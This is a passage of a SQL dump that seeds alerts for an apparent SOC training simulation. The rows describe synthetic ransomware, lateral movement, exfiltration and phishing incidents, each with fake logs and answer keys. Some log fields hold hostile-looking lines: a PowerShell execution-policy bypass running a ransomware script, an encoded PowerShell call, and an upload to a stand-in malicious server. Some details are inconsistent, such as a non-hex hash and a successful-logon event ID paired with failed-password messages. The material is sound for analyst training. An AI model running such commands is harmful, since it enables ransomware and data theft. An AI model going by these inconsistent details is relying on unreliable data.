2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T19:10:00Z\\\",\\\"event_type\\\":\\\"user_behavior\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"csmith\\\",\\\"hostname\\\":\\\"desktop06\\\",\\\"activity\\\":\\\"accessed large number of files\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.645Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T19:10:00Z\\\",\\\"event_type\\\":\\\"user_behavior\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"csmith\\\",\\\"hostname\\\":\\\"desktop06\\\",\\\"activity\\\":\\\"accessed large number of files\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.645Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T19:10:00Z\\\",\\\"event_type\\\":\\\"user_behavior\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"csmith\\\",\\\"hostname\\\":\\\"desktop06\\\",\\\"activity\\\":\\\"accessed large number of files\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(960, 'Suspicious Remote Access Attempt Detected', 'high', 'Intrusion Detection System (IDS) Logs', 'An unauthorized access attempt was detected from an external IP leveraging a known vulnerability in Baltimore\'s remote access tool. The attacker tried to exploit the system using a tool associated with beginner-level cyber operations.', 'Initial Access', 'T1078.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:06Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"admin\",\"tool\":\"RemoteAccessTool_vulnerable\",\"attempt_result\":\"failed\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Unauthorized Access Attempt\",\"message\":\"Failed login attempt detected from external source using a known exploit.\"}', '2026-01-17 03:37:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of a server within the Baltimore network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Common hash associated with empty files.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Policy\",\"verdict\":\"suspicious\",\"details\":\"Default username often targeted in attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.646Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:06Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"tool\\\":\\\"RemoteAccessTool_vulnerable\\\",\\\"attempt_result\\\":\\\"failed\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Unauthorized Access Attempt\\\",\\\"message\\\":\\\"Failed login attempt detected from external source using a known exploit.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.646Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:06Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"tool\\\":\\\"RemoteAccessTool_vulnerable\\\",\\\"attempt_result\\\":\\\"failed\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Unauthorized Access Attempt\\\",\\\"message\\\":\\\"Failed login attempt detected from external source using a known exploit.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.646Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:06Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"tool\\\":\\\"RemoteAccessTool_vulnerable\\\",\\\"attempt_result\\\":\\\"failed\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Unauthorized Access Attempt\\\",\\\"message\\\":\\\"Failed login attempt detected from external source using a known exploit.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.646Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:06Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"tool\\\":\\\"RemoteAccessTool_vulnerable\\\",\\\"attempt_result\\\":\\\"failed\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Unauthorized Access Attempt\\\",\\\"message\\\":\\\"Failed login attempt detected from external source using a known exploit.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.646Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:06Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"tool\\\":\\\"RemoteAccessTool_vulnerable\\\",\\\"attempt_result\\\":\\\"failed\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Unauthorized Access Attempt\\\",\\\"message\\\":\\\"Failed login attempt detected from external source using a known exploit.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(961, 'Malicious Script Execution Detected', 'high', 'Endpoint Detection and Response (EDR) Alerts', 'Following successful access, a malicious script was executed to deploy the ransomware, initiating the attack on the city\'s infrastructure. The script was executed on a compromised endpoint.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:22:13Z\",\"event_id\":\"EDR-456789\",\"hostname\":\"city-infra-server01\",\"username\":\"compromised_user\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\deploy_ransomware.ps1\",\"file_hash\":\"3f2e5f7b9e2a3c4d5f6a7b8c9d0e1f2g3h4i5j6k\",\"source_ip\":\"203.0.113.56\",\"destination_ip\":\"10.0.0.25\",\"file_name\":\"deploy_ransomware.ps1\"}', '2026-01-17 03:37:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known ransomware distribution campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f2e5f7b9e2a3c4d5f6a7b8c9d0e1f2g3h4i5j6k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as known ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"deploy_ransomware.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Filename used in multiple ransomware attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(962, 'Unauthorized Account Creation Observed', 'high', 'User Account Management Logs', 'New accounts with administrative privileges were created to ensure the attacker retains control, even if the initial access points are discovered.', 'Persistence', 'T1136.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"event_id\":\"4624\",\"event_source\":\"Microsoft-Windows-Security-Auditing\",\"account_name\":\"admin_user\",\"account_domain\":\"CITY_NETWORK\",\"logon_type\":\"3\",\"source_ip\":\"203.0.113.45\",\"target_sid\":\"S-1-5-21-3456789012-3456789012-3456789012-1001\",\"target_username\":\"new_admin_account\",\"privilege_level\":\"Administrator\",\"internal_ip\":\"10.0.0.15\",\"associated_files\":[{\"filename\":\"malicious_script.ps1\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}]}', '2026-01-17 03:37:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"new_admin_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Unexpected administrative account creation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash linked to potentially harmful scripts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.649Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CITY_NETWORK\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_sid\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"target_username\\\":\\\"new_admin_account\\\",\\\"privilege_level\\\":\\\"Administrator\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"malicious_script.ps1\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:31:22.649Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CITY_NETWORK\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_sid\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"target_username\\\":\\\"new_admin_account\\\",\\\"privilege_level\\\":\\\"Administrator\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"malicious_script.ps1\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:22.649Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CITY_NETWORK\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_sid\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"target_username\\\":\\\"new_admin_account\\\",\\\"privilege_level\\\":\\\"Administrator\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"malicious_script.ps1\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:22.649Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CITY_NETWORK\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_sid\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"target_username\\\":\\\"new_admin_account\\\",\\\"privilege_level\\\":\\\"Administrator\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"malicious_script.ps1\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:22.649Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"event_source\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CITY_NETWORK\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_sid\\\":\\\"S-1-5-21-3456789012-3456789012-3456789012-1001\\\",\\\"target_username\\\":\\\"new_admin_account\\\",\\\"privilege_level\\\":\\\"Administrator\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"malicious_script.ps1\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(963, 'Anomalous Lateral Movement Activity', 'high', 'Network Traffic Analysis', 'The attacker used compromised credentials to move across various systems, spreading the ransomware deeper into the city\'s network infrastructure.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_type\":\"lateral_movement\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"10.0.2.15\",\"external_attack_ip\":\"203.0.113.25\",\"username\":\"jdoe\",\"compromised_account\":true,\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"ransomware_payload.exe\",\"protocol\":\"SMB\",\"action\":\"Login successful\"}', '2026-01-17 03:37:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account flagged for unusual activity\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File known to be used in ransomware attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(964, 'Data Exfiltration Attempt Detected', 'high', 'Data Loss Prevention (DLP) Solutions', 'An unauthorized attempt to exfiltrate sensitive data was detected, potentially for ransom leverage. The attacker used an external IP to upload confidential files to a remote server.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"event_id\":\"DLP-EXFIL-20231005-001\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.76\",\"username\":\"jdoe\",\"file_name\":\"financial_report_q3_2023.docx\",\"file_hash\":\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\",\"action\":\"attempted_upload\",\"destination_url\":\"http://malicious-server.org/upload\",\"protocol\":\"HTTP\",\"alert_level\":\"high\"}', '2026-01-17 03:37:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal DLP Logs\",\"verdict\":\"internal\",\"details\":\"File contains sensitive financial data.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup Service\",\"verdict\":\"suspicious\",\"details\":\"Hash not seen in common repositories, linked to exfiltration attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.651Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.76\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.docx\\\",\\\"file_hash\\\":\\\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\\\",\\\"action\\\":\\\"attempted_upload\\\",\\\"destination_url\\\":\\\"http://malicious-server.org/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"alert_level\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.651Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.76\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.docx\\\",\\\"file_hash\\\":\\\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\\\",\\\"action\\\":\\\"attempted_upload\\\",\\\"destination_url\\\":\\\"http://malicious-server.org/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"alert_level\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.651Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.76\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.docx\\\",\\\"file_hash\\\":\\\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\\\",\\\"action\\\":\\\"attempted_upload\\\",\\\"destination_url\\\":\\\"http://malicious-server.org/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"alert_level\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.651Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.76\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.docx\\\",\\\"file_hash\\\":\\\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\\\",\\\"action\\\":\\\"attempted_upload\\\",\\\"destination_url\\\":\\\"http://malicious-server.org/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"alert_level\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.651Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005-001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.76\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.docx\\\",\\\"file_hash\\\":\\\"3d5c3b2a5f2e4f1b9b3c12e8a8d9f8e7\\\",\\\"action\\\":\\\"attempted_upload\\\",\\\"destination_url\\\":\\\"http://malicious-server.org/upload\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"alert_level\\\":\\\"high\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(965, 'Initial Access via Phishing Campaign', 'high', 'Email Security Gateway Logs', 'Evil Corp initiated their attack with a targeted phishing campaign, leveraging social engineering to trick Garmin employees into opening malicious attachments. This step marks the beginning of the attack, setting the stage for further compromise.', 'Social Engineering', 'T1566', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.25\",\"email_subject\":\"Urgent: Action Required\",\"email_sender\":\"noreply@garmin-support.com\",\"recipient\":\"john.doe@garmin.com\",\"attachment_name\":\"Invoice_4823.docm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Attachment Opened\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malicious_indicator\":true}', '2026-01-17 03:38:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal 